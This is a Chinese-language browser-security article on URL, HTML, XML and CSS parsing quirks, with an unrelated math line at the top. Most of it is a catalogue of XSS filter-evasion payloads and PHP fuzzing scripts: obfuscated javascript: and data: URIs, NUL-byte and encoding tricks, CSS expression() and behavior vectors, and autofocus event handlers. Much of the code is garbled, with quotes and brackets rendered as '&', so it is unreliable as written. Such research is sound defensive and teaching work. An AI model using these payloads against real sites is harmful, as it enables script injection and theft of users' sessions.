在fx fy f括号x y填上"十""一"或"x":6o6o4=9

Browser Security
by secdragon
URL格式:&
scheme://[login[:password]@](host_name|host_address)[:port][/hierarchical/path/to/resource[?search_string][#fragment_id]]
下面详细解释一下各个部分:
scheme是协议名不区分大小写,以冒号结尾,表示需要使用的协议来检索资源。
URL协议是由IANA(The Internet Assigned Numbers Authority,互联网数字分配机构)与个标准化组织一同管理的。
下面的网址列举出目前有的scheme:
http://www.iana.org/assignments/uri-schemes.html
有一些大家很熟悉的例如:http:、https:、ftp:等。
在现实中,一些非正式的协议也会被支持,如javascript等,这可能会有一些安全隐患,将在后面进行讨论。
在RFC1738中定义scheme中只能包含字母、数字、+、- ,现实中浏览器没有严格的遵守。
IE中会忽略所有的非打印字符ASCII中的0x01到0x1F。
chrome中会跳过0x00即NULL字符。
为了符合RFC1738中的语法规范,每个URL中需要在认证信息前面加入&//&。
在省略&//&字符串的情况下,会造成解析错误。
但在个别情况下不会解析错误,如mailto:&?subject= Hello+world,由邮件客户端打开的时候不会出错。
但是由于浏览器的特性:
1&/&这个地址在最新版Chrome、Safari、Firefox、IE中都可以定向到/&。
2&javascript:///%0Aalert(1)
&iframe&src=&javascript:///%0Aalert(1)&&&最新版Chrome、Safari、Firefox、IE中都可以弹出1。
[login[:password]@]
访问资源的认证信息(可选),当没有提供认证信息时,浏览器将尝试匿名获取资源。
绝大部分浏览器在此部分接受几乎所有的字符,有两个例外:
Saferi拒绝&& & { }&字符,Firefox拒绝换行。
(host_name|host_address)
服务器地址,正常的URL是DNS指向的域名例如,或者IPv4地址如127.0.0.1,或IPv6的地址如[0:0:0:0:0:0:0:1]。
虽然RFC中的IP地址只允许规范的符号,但是大多数应用程序调用的是标准的C库,导致会宽松很多。
http://127.0.0.1/&这是一个典型的IPv4地址。
http://0x7f.1/&这是用十六进制表示的127.0.0.1
http:///&用八进制表示的127.0.0.1
服务器端口(可选),他表示采用非默认的协议端口来访问服务,例如http的默认端口80,ftp的21等。
几乎所有的浏览器以及第三方应用使用TCP或UDP作为底层的传输方法。
并依靠TCP和UDP的16位端口号分开一台机器上运行不同服务的通信。
当用户将浏览器定向到:25/而25端口是SMTP服务,不是http服务,可能引起安全问题,后面会讨论。
[/hierarchical/path/to/resource[?search_string]
路径,用来定位服务器上的资源。
[#fragment_id]]
页面的某个位置,其功能是让用户打开某个网页时,自动定位到指定位置上。
========================================================================================
在RFC 3986的文档中定义了一个URI的基本结构,定义了没有特殊意义的字符(0-9 A-Z a-z - . _ ~)
以及一些在某些地方可能有特殊意义的字符(: / ? # [ ] @ ! $ ' ( ) * + , ; =)
还有一些字符,当他们直接放在Url中的时候,可能会引起解析程序的歧义。这些字符被视为不安全字符,原因有很多。
1&空格:Url在传输的过程,或者用户在排版的过程,或者文本处理程序在处理Url的过程,都有可能引入无关紧要的空格,或者将那些有意义的空格给去掉。
2&引号以及&&:引号和尖括号通常用于在普通文本中起到分隔Url的作用
3&%:百分号本身用作对不安全字符进行编码时使用的特殊字符,因此本身需要编码
4&{}|\^[]`~:某一些网关或者传输代理会篡改这些字符
其他的字符都可以用%加16进制字符串(%nn)来表示,包括%它本身。
由于服务器可能需要能够接受那些字符如用户搜索那些字符时,此时就采用%nn的方式来转码后请求。
导致下面三个URL是等效的:
2 http://%65xample.%63om/
3 http://%65%78%61%6d%70%6c%65%2e%63%6f%6d/
非US-ASCII文本的处理:
对于非ASCII字符,需要使用ASCII字符集的超集进行编码得到相应的字节,然后对每个字节执行百分号编码。
对于Unicode字符,RFC文档建议使用utf-8对其进行编码得到相应的字节,然后对每个字节执行百分号编码。
如&中文&使用UTF-8字符集得到的字节为0xE4 0xB8 0xAD 0xE6 0x96 0x87,经过Url编码之后得到&%E4%B8%AD%E6%96%87&。
针对域名的编码:
Punycode是一个根据RFC 3492标准而制定的编码系统,主要用于把域名从地方语言所采用的Unicode编码转换成为可用於DNS系统的编码。
Punycode可以防止所谓的IDN欺骗。
目前,因为操作系统的核心都是英文组成,DNS服务器的解析也是由英文代码交换,所以DNS服务器上并不支持直接的中文域名解析。
所有中文域名的解析都需要转成punycode码,然后由DNS解析punycode码。
其实目前所说和各种浏览器完美支持中文域名,只是浏览器软件里面主动加入了中文域名自动转码,不需要原来的再次安装中文域名转码控件来完成整个流程。
例子:中国.cn,用Punycode转换后为:xn--
同样其他语言也是如此。例如下面的网址列出一个攻击方式,输入想要伪造的网址,选择相近的字符,可以帮你生成一个
/homoglyph-attack-generator.php
浏览器本身支持的协议:http: https: ftp: file:(之前是local:,用来获取本地文件或者NFS与SMB共享)&
第三方应用或者插件支持的协议:&acrobat: callto sip: daap: itpc: itms: mailto: news: nntp: mmst: mmsu: msbd:rtsp:&等等。
伪协议:一些保留协议用来调用浏览器脚本引擎或者函数,没有真正取回任何远程内容,也没有建立一个独立的文件。
如:javascript: data:
data协议例子:data:text/base64,PGlmcmFtZS9vbmxvYWQ9YWxlcnQoMSk+
封装的伪协议:view-source:http://
view-source:是由Chrome与Firefox提出的用来查看当前页面源代码的协议。
其他的类似协议还有jar: wyciwyg: view-cache: feed: hcp: its: mhtml: mk: ms-help: ms-its: ms-itss:
=======================================================================================
超文本标记语言(HTML)
重要的4个规则:
1 &符号不应该出现在HTML的大部分节点中。
2 尖括号&&是不应该出现在标签内的,除非为引号引用。
3 在text节点里面,&左尖括号有很大的危害。
4 引号在标签内可能有危害,具体危害取决于存在的位置,但是在text节点是没有危害的。
文件解析模式
在任何HTML文档中,最开始的&!DOCTYPE&用来指示浏览器需要解析的方式,同样也可使用Content-Type头来告诉浏览器。
一般情况下,浏览器中的解析器会尝试恢复大多数类型的语法错误,包括开始和结束标记。
在XML中,是非常严格的,所有标签必须有对应的开始关闭,也可以有自动关闭如&img/&也是允许的。
了解HTML解析
在IE浏览器中允许在中插入NUL字符(0x00),可以绕过非常多的xss过滤器。u
如下php代码可把NUL字符插入标签内做测试:
v和中的空格也可以由tab(0x0B)与换页键(0x0C),x处也可以用/来代替。v
y中的&在IE中也可替换成`。
IE当中还有一个特性是当遇到=后面紧跟一个引号的时候会有奇怪的解析。
&img&src=test.jpg?value=&&Yes, we are still inside a tag!&&
&comment&&img&src=&&comment&&img&src=x&onerror=alert(1)//&&
Entity编码
HTML解析器在建立文档树的时候会针对节点内的Entity编码解码后传输。
以下两个表示相同:
&img&src=&&&&
&img&src=&http://&&
下面两个例子代码不会执行,因为,编码的是标签本身的结构而非节点内的内容:
&img&src=&&&&
&img&src=&&&
对一个普通的HTML进行Fuzzing测试:
&a&href=&/&&Click me&/a&
看一下可以Fuzzing的位置
可能插入或替代的代码
&[here]a href=&...
控制符,空白符,非打印字符
a标签的后面
&a[here]href=&...
href属性中间
&a hr[here]ef=&...
同上+空字节
&a href[here]=[here]&...
&a href[here]&...
Union编码符号
&a href=[here]&[here]&
&a href=&&&[here]&
&a href=&&&&...&[here]/a&
空白符,控制符
&a href=&&&&...&/[here]a&
空字符,控制符
&a href=&&&&&&/a[here]&
可以使用php代码进行快速测试,例如我们对第一个位置(&的右边)进行Fuzzing:
for($i = 0; $i &= 255; $i++) {
$character = chr($i);
#& &右边进行测试
echo '&div&&'.$character.'a href=&/&&'.$i.'&/a&&/div&'; }
上面的代码只测试了256个字符,如果想要测试Unicode的所有字符,则需要创建65536个链接。
php默认字符是ISO-8859-1作为默认的字符编码,而这种编码只有256个字符,所以单纯的循环65536遍是没用的。
所以采用Entity编码方式循环,解码后输出:
for($i&=&0;&$i&&=&65535;&$i++) {
$character&=&html_entity_decode('&#'.$i.';',&ENT_QUOTES,&'UTF-8')
# &右边进行测试
echo&'&div&&'.$character.'a href=&/&&'.$i.'&/a&&/div&';
有一个有趣的现象是几乎所有浏览器对$#33;即!,浏览器会&!当成注释的开始,然后自动补齐剩下的代码,浏览器解析后的代码:
&div&&!--a&href=&/&--&33&/div&
针对标签名的Fuzzing:
&LԱ&onclick=alert(1)&click me&/LԱ&
上面的代码,在Chrom、Firefox和Safari中点击,可以顺利弹出1。
讨论一下空字符的问题,IE浏览器会自动忽略空字符,并解析剩下的代码,这样会绕过很多采用正则匹配黑名单字符串的过滤器。
并且,很多函数和库并没有意识到这个问题:
echo&'&im'.chr(0).'g sr'.chr(0).'c=x onerror=ale'.chr(0).'rt(1)&';
用IE8打开上述代码的网页,查看源代码只能看到&&im&后面的字符都隐藏了。
还有两种方式可以对标签名Fuzzing,第一种是涉及字符集的问题,第二种是针对php中在过滤之前使用了utf8_decode()函数。
header('Content-Type: text/charset=Shift_JIS');
for($i = 1; $i &= 255; $i++) {
&&& $character = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');
&&& $character = utf8_decode($character);
&&& echo $character.'123456 '.$i.&&br&\r\n&;
代码很简单,设置返回响应字符集为Shift_JIS,然后把utf-8转换为Shift_JIS字符集。
可以看到在IE中129-159和224-252中,123456中的1消失了,与前面的字符合并成一个字符了。
标签后面也可加入/符号做间隔:
&img/src=x&onerror=alert(1)&
尝试在标签与/之间再插入其他字符来测试,由于空字符无法直观显示,所以用\0来表示null,同样主流浏览器都可以执行:
&img\0/src=x&onerror=alert(1)&
再尝试ASCII码之外的字符,这种字符在正则表达式中\w是无法匹配到的,主流浏览器都可以执行:
&img/ \/\&&src=x&onerror=alert(1)//&
测试发现,标签名与属性名直接只要是以/开头以/或&结尾,中间几乎可以插入任意字符。
在Fuzzing属性方面,考虑两方面,一个是可以使用什么分隔符,一个是属性值可以采用什么编码。
分隔符有很多种,单引号,双引号,无任何引号,反撇号(IE中)。
for($i = 1; $i &= 255; $i++) {
$character = chr($i);
echo '&div&&font size='. $character. '20'. $character. '&'.$i.' &/font&&/div&';
上面代码可以直观的看出当前浏览器支持的分隔符有哪些字符。
上面代码size属性如果输入的是字符的话,会顺利执行,所以当$character中循环到数字的时候也会顺利解析,但这并非是把数字当成了分割符:
for($i = 20; $i &= 255; $i++) {
&&& $character = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');
&&& echo '&div&&img title=&'.$i.'& src='.$character. '/intl/en_ALL/images/logo.gif'. $character. '&&/div&';
以上代码可以看出,属性为字符串的时候,可以作为分隔符的字符。
为了表示那些不可打印的字符,就用\x十六进制来表示,
&img&src=\x17\x17&onerror=alert(1)//&
以上代码\x17即表示不可打印字符chr(23),浏览器提交的时候可以输入%3Cimg%20src%3D%17%17%20onerror%3Dalert%281%29%2f%2f%3E。
在src中可以正常工作的分隔字符,在处理事件的属性里不一定会工作,例如onerror。
但是仍然有一些字符可以达到我们的目的,ASCII表中的133和160已经IE中的空字符,甚至是分号。
&img/\%20src=%17y%17&onerror=%C2%A0alert(1)//&
以上代码urldecode之后在chrome中可以顺利执行。
下面讨论多个标签的问题,比如用户可控的数据插入到了&input&标签中,同时过滤了&&只能插入标签内数据:
&input value=&& type=image src=1 onerror=alert(1)//& type=&hidden& name=&foo& /&
绿色部分是我们插入的数据,又插入了一个type属性,但是浏览器执行了alert(),浏览器实际上会执行第一个属性,后面的会忽略掉。
在IE中还有一个lowsrc的属性,跟src类似,原本是为了方便调用一个缩略图的,但是在IE6和IE7中,同时也支持伪协议javascript:,还有一个dynsrc属性也类似:
&img&lowsrc=1&onerror=alert(1)&&// 所有IE都支持
&img&lowsrc=javascript:alert(2)&&//IE6和IE7支持
&img&src=/853.gif&&dynsrc=&javascript:alert(3)&&/&&// 只有IE6支持
sytle属性中还可以定义非常多的参数:
&span&style=&color:red&&style=&color:background:yellow&&&foobar&/span&
上面代码可以看到,浏览器显示的字体为红色,背景为黄色,除了定义颜色之外也可以用expression()执行js,后面会讨论。
还有一个属性是专门用来在一个标签中插入多个的:xmlns,XML的命名空间属性,这个后面会在XML中讨论。
还有一处可Fuzzing的点即为标签的关闭,一个有趣的现象是浏览器把&br/&与&/br&,&p/&与&/p&成完全一样。
&b&&&foobar&/b&style=&x:expression(alert(1))&&&// 不会执行alert
&b&&&foo&/b&&&bar&/b&style=&x:expression(alert(2))&&&// IE执行了alert
&script&src=&http://0x.lv&&&/b&&// 不会执行
可以执行的代码为没有开始标签的一个闭合标签,IE8中,sytle属性可以插在一个闭合标签内,并顺利执行。
可混淆的另一个方法是:可替换为=,下面例子在IE8中可执行:
&//style=x:expression(if(!window.x){window.x=1;alert(1);})&&
&//style='x=expr\65 ssion(if(!window.x){window.x=1;alert(1);})'&&
&/a/style='x= \a expr\65 ss/*\&#x2a/ion(if(!window.x){window.x=1;alert(1);})'&
HTML代码中执行js的各种方式,用以下方式定义的时候,VBscript和JavaScript都可以执行。
&script&language=vbs&
alert+1'VBScript
alert(2)// JavaScript&
也有利用标签中的属性来执行js,例如:onclick,onload,onerror等等。
在iframe标签中,不需要src属性就可以顺利执行onload属性,而img标签不可以。
这是因为在iframe中没有src属性的时候,浏览器会自动加载about:blank页面,即空白页。
附件tag.php可以方便的看到当前浏览器针对各标签在不需要用户交互的情况下,可以自动执行的所有属性。
tag-event.php
从输出结果可以看到body标签支持非常多的属性可以在与用户没有交互的情况下执行js。
例如load,error事件,所有的mouse和keyboard事件,以及在用户离开时的blur事件,还有unload和beforeunload,以及大家很少知道的pageshow属性。
同样标签中也有很少遇到的marquee标签:&marquee&onscroll=alert(1)&
在Chrome中,html标签也可以执行非常多的属性,,同源frameset标签也接受focus和blur事件。
一个很有趣的例子是,让scroll事件可以无交互触发,我们可以引入一个锚点,例如:
&a&name=&bottom&&或者通过id属性&div&id=&bottom&&
那我们可以访问/test.html#bottom来访问,浏览器自动滚到该锚点,触发scroll属性。
&body&onscroll=&alert(1)&&
&div&style=&height:10000px&&some text&/div&
&a&name=&bottom&&&/a&
1.html为以上代码,访问1.html#bottom会自动触发onscroll事件。
IE中hr标签中的onresize属性,在当前窗口大小变化时,会触发resize事件,执行alert(1)。
&hr&onresize=alert(1)&
还有非常多的组合可以在IE中使用,很难全部列出来,只列举出几个很少见的例子:
&bgsound&onpropertychange=alert(1)&
&body&onpropertychange=alert(2)&
&body&onmove=alert(3)&
&body&onfocusin=alert(4)&
&body&onbeforeactivate=alert(5)&
&body&onactivate=alert(6)&
&embed&onmove=alert(7)&
&object&onerror=alert(8)&
&style&onreadystatechange=alert(9)&&
&xml&onreadystatechange=alert(10)&&
&xml&onpropertychange=alert(11)&&
&table&&td&background=javascript:alert(12)&&
除了以上on的各种属性之外,src和href属性由于支持javascript和vbscript(只支持IE)伪协议,所以也是可以执行javascript代码:
&a&href=&javascript:alert(1)&&click me&/a&
&a&href=&vbscript:alert(2)&&click me&/a&
代码执行时必须使用(),不可以使用vbscript中的alert+2,当点击之后,会弹出一个写在当前页面DOM中的数字2的警告框。
javascript:和vbscript:协议执行后的结果将会映射在DOM后面。
&a&href=&javascript:'\x3cimg&src\x3dx&onerror=alert(document.domain)&'&&click me&/a&
以上代码在IE和Firefox中点击click me之后可执行,并且可以看到弹出的domain为a标签中所在的domain。
以上代码需要用户交互,下面看个不需要用户交互的例子,使用object标签和data:标签:
&object&data=&javascript:alert(1)&&
&object&data=&data:text/html,&script&alert(2)&/script&&&&&
&object&data=&data:text/base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg&&
以上三个在Firefox中可执行,第二个可在Opera中执行,把各标签中各属性支持javascript的总结了一些:
&iframe&src=&javascript:alert(1)&&&// 火狐,Chrome, IE8
&embed&src=&javascript:alert(2)&&&// 火狐&
&img&src=&javascript:alert(4)&&&// IE6
&image&src=&javascript:alert(5)&&&// IE6
&body&background=&javascript:alert(5)&&&// IE6&
&script&src=&javascript:alert(6)&&&// IE6&
&table&background=&javascript:alert(7)&&&// IE6&
&isindex&type=&image&&src=&javascript:alert(8)&&&// IE6-7
以及applet标签中code和archive属性可以用来调用jar文件,执行java代码。
&applet&code=&XSS&&archive=&/xss.jar&&&/applet&
Javascript可以通过DOM直接获取当前页面中对应的id和name属性的对象:
&div&id=&test&&&/div&
&script&alert(test)&/script&
上面代码可以看出Javascript中并没定义test变量,但是获取到了页面中id为test的对象。
反过来,我们可以在外部直接控制Javascript变量,并且在一些浏览器中可以重写Javascript中已有的变量。
&form&id=&location&&href=&bar&&
&script&alert(location.href)&/script&
以上代码在IE中可以看到弹出的bar,而不是当前页面的url,成功覆盖了原本的变量。
还有一种利用meta标签来执行Javascript:
&meta&http-equiv=&refresh&&content=&0; url=javascript:alert(document.domain)&&
上面代码可以在Chrome,Opera,IE6中可执行javascript代码,并且弹出的时meta标签所在的域。
如果禁止了javascript:协议,也可使用data:协议,不过能够顺利执行javascript并且继承meta标签域的测试到的只有Opera。
&meta&http-equiv=&refresh&&content=&0;&url=data:text/html,&script&alert(document.domain)&/script&&&
IE中为了兼容各个版本,所以有一个条件注释的语法,这个语法其他浏览器并不支持,会自动当成html注释。
&!--[if IE 8]&
&p&Welcome to Internet Explorer 8.&/p&&
&![endif]--&
如上文字只有在IE8中才会显示,条件注释对于开发是一件很好的事情,可以方便的判断浏览器版本获取兼容代码展现给用户。
&!--[if gte IE 7]&&p&You are using IE 7 or greater.&/p&&![endif]--&
&!--[if (IE 5)]&&p&You are using IE 5 (any version).&/p&&![endif]--&
&!--[if (gte IE 5.5)&(lt IE 7)]&&p&You are using IE 5.5 or IE 6.&/p&&![endif]--&
&!--[if lt IE 5.5]&&p&Please upgrade your version of Internet Explorer.&/p&&![endif]--&
&!--[if lt Contoso 2]&
&p&Your version of the Contoso co please update to the latest.&/p&
&![endif]--&
&![if IE 8.0]&&
&script&&&alert(1)&/script&&&&//只在IE8下执行
&![endif]&&
&![if IE 8.0000]]] &
&script&&&alert(2)&/script&&&&// IE8同样执行
&![endif]&&
&![if IE 8.0000?]&&
&script&&&alert(3)&/script&&&&// 所有的IE都执行
&![endif]&&
同时IE还支持另外一种方法来执行条件语句,就是通过&comment&标签,并且标签之间的代码并不会执行,但是其他浏览器却会执行。
&comment&&img&src=x&onerror=alert(3)&&comment&
&comment&onclick=alert(1)&XXX--& //Opera不执行
IE的JS引擎里同样也有条件注释的语法:
//@cc_on!alert(1)
/*@cc_on~alert(2)@*/
前面提到过标签属性中的URI可以做entity编码,同时,javascript:后面也可以做url编码,下面代码在所有浏览器中都可以成功执行。
&a&href=&j&#x61vascript:%61lert(1)&&click me&/a&
同时后面的url编码可以再做一次entity编码:
&a&href=&j&#x61vascript:%61lert(1)&&click me&/a&
由于entity编码允许&#之后插入任意多个0,再利用上javascript的注释混淆后:
&a&href=&j&#x61vascript: //%0&#x61 %61lert(1)&&click me&/a&
base标签定义当前页面链接默认地址或默认目标,下面代码在opera中可执行:
&base&href=&javascript:alert(1)&/&
&a&href=&#&&click me&/a&
javascript也可以换行分割(在IE与chrome中可执行alert):
&a&href=&j&#x61v
ascript: //%0&#x61 %61lert(1)&&click me&/a&
换行字符同时也可以使用entity编码:
&a&href=&j&#x61va&#x000Ascript://%0&#x61%61lert(1)&&&click me&/a&
for($i = 0; $i&=65535; $i++) {
$chr = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8'0);
echo '&iframe src=&java'.$chr.'script:alert('.$i.')&&&/iframe& &br/&';
上面代码可测出当前浏览器中,javascript字符串插入哪些字符仍然可以执行alert。
&a&href=&data:text/charset=utf-8;base64, PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+Og==&&&click&/a&
上面代码在Firefox和Opera中可以弹出当前域,Chrome与Safari可以弹,但是继承不到a标签所在的域,弹出为空,IE不能执行。
Firefox中data:协议默认MIME类型为text/html,即使你定义了一个他根本不知道的类型,他也会把它当作text/html类型:
&iframe&src=&data:&,&script&alert(1)&/script&&&&&/iframe&
&iframe&src=&data:&#,&script&alert(2)&/script&&&&/iframe&
利用之前总结的结论,最终可以写出下面可让Firefox执行的代码:
\/src=&data:&,%3cscript%3ealert(document.dom%61in+[])%3c/script%3e&&&&/iframe&
并且火狐中会忽略data:协议中的所有空白字符:
&iframe&src=&data:.&#x2c&%
3&e&alert(1)
%3c&/s&&#x43&RIP&t&&&
最终可以混淆成这样:
&iframe&src=&d&#097t&#x0061:. &#x2c&%&3
c&s&cri&
&pt&%
3&e&al\u0065rt(1)
%3c&/s&&#x43&RI&&#x009&P&t&&
data:%,&b&&&&s &#10 c r i p t&alert(1)&&&/s &#10 c r i p t&
之前提到的标签,在IE中data:协议都不能执行javascript,但是在style标签里,可以通过@import命令插入data:执行javascript:
@import &data:,*%7bx:expression(write(1))%7D&;
@imp\ ort&data:,*%7b- = \a %65x\pr\65 ssion(write(2))%7d&;&&/style&
&link&rel=&Stylesheet&&href=&data:,*%7bx:expression(write(3))%7d&&
下面讨论一下事件即onload、onerror等事件之后的混淆方法:
&body&onload=&al&#000101rt&#8233
/*&#00*/(document. dom&#x5cu0061in)//&&
采用了entity编码,最后一处是先使用javascript的unicode编码,然后再entity编码。
由于是直接处理DOM的方法和对象,与直接在script标签内处理字符串的环境还是不同,但是我们可以加注释或者换行符。
&body&onload=&al&#000101rt&#8233
//&#x0d/*&#00*/(document. dom&#x5cu0061in)//&&
当使用location重定向到javascript:伪协议url的时候,又可以多做一重编码了:
&body/:a/onload=&location='j&#97vAscript:'
+&#x28[&#x5d+
'\141\l\u0065rt\r\(/*&#x2a/docum%65nt.dom\x&#xin)'
事件同时又可以直接调用其他属性:
&img&src=&x&&onload=&alert(1)&&onerror=&this.onload()&&
&img/src=&*/(1)&title=&alert/*&onerror=&eval(title+src)&&
style属性的混淆,一个没有任何混淆的简单例子:
&input&type=&text&&value=&&&style=display:position:top:0;left:0;width:999&height:999em
onmouseover=alert(1)&a=&&&name=&foo&&/&
利用之前总结的在属性里的混淆方法:
&l1!/style=&-:\65 \x/**/\p\r\000065 /**/ssio\n(write /**&#x2f(dom\u0061in))&&&
在expression中,我们可以直接访问document中的write方法和domain属性,这表明我们当前位于document的DOM范围内。
&l1!/style=&-:\65 \x/**/\p\r\000065 /**/ssio\n(location='j&#97vAscript:'+&#x28[&#x5d+'document.write\r\(/*&#x2a/1)'))&&&
转到javascript的URL时,已不在document当中,访问write方法时需要使用document.write。
看到有\xx和\xxxxxx的Unicode编码,这些都是CSS编码,与JavaScript编码非常相似。
下面两个URL中列举了一些浏览器对各种奇怪的css语法支持情况:
http://imfo.ru/csstest/css_hacks/import.php
/ref/css/filters/
在IE中,css的解析非常的宽泛:
/*\*/*{x:expression(write(1))/*
_{content:&\&/*& x}
*{0:expression(write(2))
&a&style=&!---/**/&#61expression(write(3))/*--&&&X&/a&&
从IE5.5到IE8中,除了expression可以用来执行JavaScript之外,也可以通过HTML+TIME的形式。
这种方式唯一的缺点就是也需要一个事件来执行JavaScript,即onbegin或者onend:
1&l&style=&behavior:url(#default#time2)&onbegin=&alert(1)&&
还有一种方式利用set标签:
1&set/xmlns=&urn:schemas-microsoft-com:time&&style=&beh&#x41vior:url(#default#time2)&&attributename=&innerhtml&&to=&&img/src=&x&onerror=alert(1)&&&
测试一下style属性中在哪些浏览器中,可以插入哪些字符:
for($i = 0; $i&=65535; $i++) {
$chr = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');
echo '&a style=&color='.$chr.'red&&'.dechex($i).'['.$chr.']&/a&';
从测试结果可以得出,下面的代码可以在IE中执行:
&div&style=xss : expression(write(1))&
在一些老版本的IE中,如IE6和IE7,还可以通过背景相关属性调用javascript的URL来执行javascript代码:
&b&style=&background:url(javascript:alert('background'))&&xxx&/b&&
&b&style=&background-image:url(javascript:alert('background'))&&&xxx&/b&
&b&style=&list-style:url(javascript:alert('background'))&&xxx&/b&&
&b&style=&list-style-image:url(javascript:alert('background'))&&&xxx&/b&
通过link标签(在IE6下适用,同时javascript可以换成vbscript):
&link&rel=&stylesheet&&href=&javascript:alert(1)&&
&link&rel=&stylesheet&&href=&vb&#x09script:%61lert(document.domain)&&
style标签中可以通过导入url的方式执行javascript:
@imp\o\ rt url('javascript:%61lert(2)');&
HTML5中增加了很多标签跟属性,列举一些可执行JavaScript的方法:
&form&&input&&output&onforminput=&alert(1)&& //Opera支持
onfocus与autofocus的配合:
&input&onfocus=write(domain)&autofocus&
&keygen&onfocus=write(domain)&autofocus&
&textarea&onfocus=write(domain)&autofocus&
&body&onfocus=write(domain)&autofocus&
&frameset&onfocus=write(domain)&autofocus&
&button&onfocus=write(domain)&autofocus&
&input&autofocus&onblur=write(domain)&&input&autofocus& //Chrome中无交互执行
&iframe/src=javascript:alert(1)&
&video/poster=javascript:alert(2)&
&button&form=&test&&formaction=&javascript:alert(3)&&
更多的html5攻击方式请见:http://html5sec.org/
XML内容比较少,就一起写到HTML里了,XML支持Unicode,所以Unicode里的所有字符都可以用来做标签或者属性,同时有可能绕过&\w+匹配:
&啊&onclick=&alert(1)&&xmlns=&http://www.w3.org/1999/xhtml&&XXX&/啊&
XML相比HTML最严格的就是有了开始的标签,必须要有结束标签匹配,否则会报错。
但是在大多数浏览器中似乎并不会影响页面中javascript的解析(IE中不执行):
&html&xmlns=&http://www.w3.org/1999/xhtml&&&
alert(1);&// works
alert(2);&// works too&
甚至可以通过JavaScript修改错误页面的内容(在Firefox中可执行):
&html&xmlns=&http://www.w3.org/1999/xhtml&&&
setTimeout(function(){&document.activeElement.textContent='hello world'&},1);
XML的编码规范与HTML非常相似,可以用entity编码属性值。
在XML中,我们可以在DOCTYPE中自定义entity,甚至通过URL引入外部文件:
&!DOCTYPE&xss&[&!ENTITY&x&&al&y;&&&!ENTITY&y&&ert&&]&
&html&xmlns=&http://www.w3.org/1999/xhtml&&
&script&&x;(document.domain);&/script&
上面代码定义了一个&y变量为&ert&,&x为&al&y&(a与&符号编码了一下),即alert,
&!DOCTYPE&xss&[&!ENTITY&_k&&al&__;&&&!ENTITY&__&&ert&&&&]&
&script&xmlns=&http://www.w3.org/1999/xhtml&&
&!--
&_k;(1)
在xml中,包括script标签内的代码浏览器都会entity解码后执行,这点很有用:
&script&xmlns=&http://www.w3.org/1999/xhtml&&
a='',alert(1)//';
b='',alert(2)//';
c='&,alert(3)//';
从5.5版本开始,Internet Explorer(IE)开始支持Web 行为的概念。
这些行为是由后缀名为.htc的脚本文件描述的,它们定义了一套方法和属性,几乎可以把这些方法和属性应用到HTML页面上的任何元素上去。
HTML中可以通过加载CSS的behavior的方式调用htc文件,仅支持同域调用:
//HTML文件代码:
&style&body { behavior: url(test.htc);}&/style&&&/head&
&body&Hello&/body&
//htc文件代码:
&PUBLIC:COMPONENT&
&PUBLIC:ATTACH&EVENT=&onclick&&ONEVENT=&alert(1)&&/&
&/PUBLIC:COMPONENT&
同样HTML调用XML文件执行javascript:
&xml&id=&xss&&src=&test.xml&&&/xml&
&label&dataformatas=html&datasrc=#xss&datafld=payload&&/label&&&/body&
&?xml&version=&1.0&?&
&![CDATA[&img&src=x&onerror=alert(domain)&]]&&&/payload&
dataformatas定义了获取到的数据以什么格式解析(HTML或text),datasrc指绑定的id,datafld指使用哪一段数据。
svg调用javascript(新版本的几个浏览器支持):
&svg&xmlns=&http://www.w3.org/2000/svg&&
&g&onload=&alert(1)&&&/g&
&svg&xmlns=&http://www.w3.org/2000/svg&&onload=&alert(2)&&&/svg&
=======================================================================================
层叠样式表(css)
调用方式有三种:
1 用&style&
2 通过&link rel=stylesheet&,或者使用style参数。
3 XML(包括XHTML)可以通过&?xml-stylesheet href=...?&
浏览器进行解析的时候会先HTML解析再做CSS解析,所以下面的代码会出错:
some_descriptor {
&background: url('/&/style&&h1&&&Gotcha!'); }&
字符编码:
为了保证在css中可以使用可能产生问题的字符,css提供了一种方式由反斜杠(\)加六位十六进制数字。
字符e可以编码成\65 \065 \000065,当后面紧跟的字符也是十六进制字符中的一种的时候,只有最后一个才是对的。
例如teak编码成 t\65ak 不会正常,因为会解码时会把\65a当成一个字符。
为了避免上述情况可以编码以后加一个空白符,例如:t\65 k。
很多CSS解析器同样会解析引号之外的字符串。
下面两个代码IE下相同
&A&STYLE='color: expression\028 alert \028 1 \029 \029'&
&A&STYLE='color: expression(alert(1))'&
CSS的解析规则与HTML和JavaScript在几个方面不同。
JavaScript在语法错误的时候,整个代码都会被忽略,而CSS解析错误时,浏览器尝试忽略错误的代码。
这点上跟HTML比较类似,因为HTML语法错误时,浏览器会尝试修复并展现出来,
@符号用来在CSS样式表中定义一个特殊属性,定义字符集(@charset)或者media的样式(@media)。
导入外部样式(@import)或外部字体(@font-face)或命名空间(@namespace)或定义一个演示文件(@page)。
定义字符集的时候,可以定义一个多字节字符集(如:SHIFT-JIS,BIG5,EUC-JP,EUC-KR或GB2312)可能会使反斜线失效:
@charset&&GB-2312&;
content:&a%90\&; color: z:k&;
会解析为:
@charset&&GB-2312&;
content:&a撞&; color: z:k&;
还有一种时UTF-7字符:
@charset&&UTF-7&;
content:&a+ACIAOw- color: z:k&;
会解析为:
@charset&&UTF-7&;
content:&a&; color: z:k&;
定义@charset在IE中并非这一种定义UTF-7的方式:
content:&a+ACIAOw- color: z:k&;
在一些浏览器中导入的时候可以定义字符集:
&link&rel=stylesheet&charset=UTF-7&src=stylesheet&
CSS的选择器是非常有趣的部分,他可以包含字符串,表达式,函数。选择器也可以由多行组成:
CSS中的声明时一个 属性/值 对里面的规则集,通常形式如下:
property是一个关键字,包括字母数字破折号,和大于0x7F的字符,也有绕过的方式:
-moz-binding与\2d moz\2d binding相等。
IE中property没有严格遵守这个规则,如果一个属性包含多个字,只有第一个字将被使用,其他的都会忽略:
上面两个规则是等效的。
并且IE中:可以替换为=
上面两个也是等效的。
同样重要的是IE允许多行的字符串,URL,选择器。
CSS最明显的局限性是,他本身不是一种编程语言,而是一种语言风格,他没有任何的编程逻辑。
他很难不借助于JavaScript进行攻击,下面主要讨论的是完全基于CSS不依赖于其他脚本语言的攻击。
整体的逻辑:
element:condition{
element可以为任意值,condition为CSS选择器,如:visited,:active,:hover,:selected。
事件选择器:
1 :hover 悬停鼠标在一个元素。
